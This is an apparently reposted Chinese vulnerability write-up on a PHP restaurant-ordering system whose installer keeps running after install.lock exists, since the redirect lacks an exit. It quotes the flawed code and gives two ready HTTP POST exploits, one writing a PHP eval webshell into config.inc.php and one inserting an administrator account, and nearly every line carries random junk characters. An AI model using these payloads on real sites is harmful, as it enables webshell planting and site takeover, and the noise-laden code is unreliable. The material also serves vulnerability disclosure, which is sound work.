问题出在/install/index.php文件。在程序安装完后,会在程序根目录下生成install.lock文件。而/install/index.php在判断是否有install.lock时出现错误。' g# D7 x0 {6 M7 B. ]% V R+ X
% D% p' d! K7 c/ \! L+ j0 j/ i6 P
<?php8 O8 a h+ q4 i- b
if(file_exists("../install.lock"))
: T$ V( X) o5 ~& ?+ b{6 B" }9 u6 ~# Y' P. H% {
header("Location: ../");//没有退出7 O, i% B( y1 S; c! u' J; \1 C
}' j4 t( _& p6 p, y, _0 M9 |3 V# t
# j. B7 t1 F. d0 U1 Q$ O
//echo 'tst';exit;3 r; x1 G' u8 k
require_once("init.php");
6 y+ k" v+ [1 W$ l: O4 {- Pif(empty($_REQUEST['step']) || $_REQUEST['step']==1)! h5 Z1 s1 z' n) d {2 w
{, l) ?" u! A/ D
可见在/install/index.php存在时,只是header做了302重定向并没有退出,也就是说下面的逻辑还是会执行的。在这里至少可以产生两个漏洞。
& [6 J; X+ z1 K5 c, N: P v3 O+ A \, Q" J* Z3 y
1、getshell(很危险)" {+ Y6 ?5 E* L2 G2 o
if(empty($_REQUEST['step']) || $_REQUEST['step']==1)
- u! V: T( i r{
) x: J& h* o3 ^7 ]$smarty->assign("step",1);
- _1 f4 @. g+ T; V/ n& p$smarty->display("index.html");
: v5 v: Q- l8 e* c}elseif($_REQUEST['step']==2)
; [4 C1 T; c9 l. A{
" I) a J v5 Y" | $mysql_host=trim($_POST['mysql_host']);
* ?( S& K6 V3 Z1 ?( g# m, n $mysql_user=trim($_POST['mysql_user']);
0 M6 _: Q2 o8 X f! c& P+ O $mysql_pwd=trim($_POST['mysql_pwd']);
, p8 T9 a! H. A; x, R# E4 M. b- D $mysql_db=trim($_POST['mysql_db']);% z0 q8 z7 |: l3 d. h4 Y- B, t
$tblpre=trim($_POST['tblpre']);# ~# ~8 L& s# K% C6 y. a/ D: l$ P
$domain==trim($_POST['domain']);
5 ~- W8 A2 ]4 s7 N $str="<?php \r\n";8 `6 r1 m; \9 D: e8 ]
$str.='define("MYSQL_HOST","'.$mysql_host.'");'."\r\n";' r6 Y4 p. \ _2 a$ P: o
$str.='define("MYSQL_USER","'.$mysql_user.'");'."\r\n";6 @, D& y/ q7 T( E: k4 W
$str.='define("MYSQL_PWD","'.$mysql_pwd.'");'."\r\n";( A& B/ y1 L0 y9 o
$str.='define("MYSQL_DB","'.$mysql_db.'");'."\r\n";
C1 v* ?% f1 m* |$ J) i7 N $str.='define("MYSQL_CHARSET","GBK");'."\r\n";0 ^! O1 {) z6 ]) |0 i# S: r
$str.='define("TABLE_PRE","'.$tblpre.'");'."\r\n";) G8 H) _* h4 p1 W! V' m* ~+ E
$str.='define("DOMAIN","'.$domain.'");'."\r\n";$ \* ^+ f1 s& |+ |8 T$ @3 v: r
$str.='define("SKINS","default");'."\r\n";/ E( R- _4 H4 J' i w0 L3 `
$str.='?>';
1 M) C* X" Z+ q4 K& b% s9 j file_put_contents("../config/config.inc.php",$str);//将提交的数据写入php文件( g2 G# v( e3 a% r7 S: l- s2 `- j
上面的代码将POST的数据直接写入了../config/config.inc.php文件,那么我们提交如下POST包,即可获得一句话木马
) L3 [$ u# y" r& }POST /canting/install/index.php?m=index&step=2 HTTP/1.1
7 F5 s6 O4 t/ s' |7 t/ y$ iHost: 192.168.80.129
f% s9 \* ?0 o1 v) G9 c! ~User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.0
! O% t8 @" L6 `4 o* n$ S; N! [. WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
! R. W' ]. K; j6 W4 }1 iAccept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.31 I( e1 u# D5 @# C1 W
Accept-Encoding: gzip, deflate' S1 G/ A' w, {
Referer: http://192.168.80.129/canting/install/index.php?step=1
3 h( l9 L5 L! t$ K% VCookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42
) x' ^3 R" o8 K# s; q6 n) PContent-Type: application/x-www-form-urlencoded
3 [" ]! W0 }- A1 \3 @# vContent-Length: 126, R, e! ^$ p+ |( P
- ] t, E/ c# J( a- B% b4 o( Mmysql_host=test");@eval($_POST[x]);?>//&mysql_user=1&mysql_pwd=2&mysql_db=3&tblpre=koufu_&domain=www&button=%CF%C2%D2%BB%B2%BD0 a& ^; U0 Q7 {2 q1 t( x4 j# M
但是这个方法很危险,将导致网站无法运行。
* ?0 x! J( A' d1 S2 i, U
/ M& }* M, C% o4 q0 j5 d+ w2、直接添加管理员
# S7 u9 N: Q* m2 _' {6 H' I y! d$ s0 u6 D* C6 O, Z, q/ B
elseif($_REQUEST['step']==5)! R# v( \& S2 e5 \& A) V
{ I0 x- J. Q1 g8 f
if($_POST)$ G+ c! g5 O* {3 X/ m$ p; g8 }
{ require_once("../config/config.inc.php");( r2 O0 n" f S$ h
$link=mysql_connect(MYSQL_HOST,MYSQL_USER,MYSQL_PWD);# Y% Y m2 w; x) q8 `5 H
mysql_select_db(MYSQL_DB,$link);
# G. ?6 x; }6 q mysql_query("SET NAMES ".MYSQL_CHARSET );
6 I( p/ c. [/ M' p9 ] P: ^) E mysql_query("SET sql_mode=''");; _ @7 _1 Q( K+ B/ Y( \1 b
: N; B* ^# [! H: J $adminname=trim($_POST['adminname']);
2 X H; `- H) d/ P- n& W $pwd1=trim($_POST['pwd1']);
. _6 B$ W5 p+ A8 ]/ b8 f8 u $pwd2=trim($_POST['pwd2']);
# d2 p* ]2 Y1 `: n, B$ L if(empty($adminname)) w5 }% y0 {% Z# V2 R+ U) [
{
2 z ?. h8 Y3 _! w. u: A2 _* B9 o5 ^' }" ]
echo "<script>alert('管理员不能为空');history.go(-1);</script>";
5 ^( F4 `$ E7 S) h6 e7 q exit();
1 e# M. I k' u8 Z }
8 t$ k3 `& d3 O3 o' n, s if(($pwd1!=$pwd2) or empty($pwd1))
/ S/ I, N/ C) t+ t {4 _* ?1 y6 ?9 P4 o$ p6 K% h" L
echo "<script>alert('两次输入的密码不一致');history.go(-1);</script>";//这里也是没有退出
- ~$ f2 O) ~% [- m }
" _. `1 \4 e1 z mysql_query("insert into ".TABLE_PRE."admin(adminname,password,isfounder) values('$adminname','".umd5($pwd1)."',1)");//直接可以插入一个管理员+ @2 ~- a7 O2 K2 K5 M
}
, K, d6 L4 p+ ~" N4 l% d/ x1 q这样的话我们就可以直接插入一个qingshen/qingshen的管理员帐号,语句如下:0 {- E( o0 R) @& A
POST /canting/install/index.php?m=index&step=5 HTTP/1.1
! G! d5 M& H' @& J7 rHost: 192.168.80.129. |5 C+ k4 A. r0 P$ F. g
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:17.0) Gecko/17.0 Firefox/17.04 u2 R" T) K* T. l. ^4 r0 B$ r
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8/ L7 p! s+ ? B7 P; P D0 [
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
( W. f& G; b u0 `$ l& P7 X6 p: LAccept-Encoding: gzip, deflate7 k& @, n: y5 I& V6 C( o
Referer: http://www.2cto.com /canting/install/index.php?step=14 U7 D1 V8 o. Z& s
Cookie: ck_ss_id=1354023211djfa6ggefdifvoa3kvhi61sc42; PHPSESSID=djfa6ggefdifvoa3kvhi61sc42% G; G" a1 U. S& z* L
Content-Type: application/x-www-form-urlencoded( f' E# z) D7 y, Q+ b
Content-Length: 46 y# |! U. o- Z4 _9 z- P! J/ T3 _
1 I6 k" }5 y) d' V, l4 Q( ?& P0 Kadminname=qingshen&pwd1=qingshen&pwd2=qingshen5 ^8 I' e9 d/ j4 h3 l
|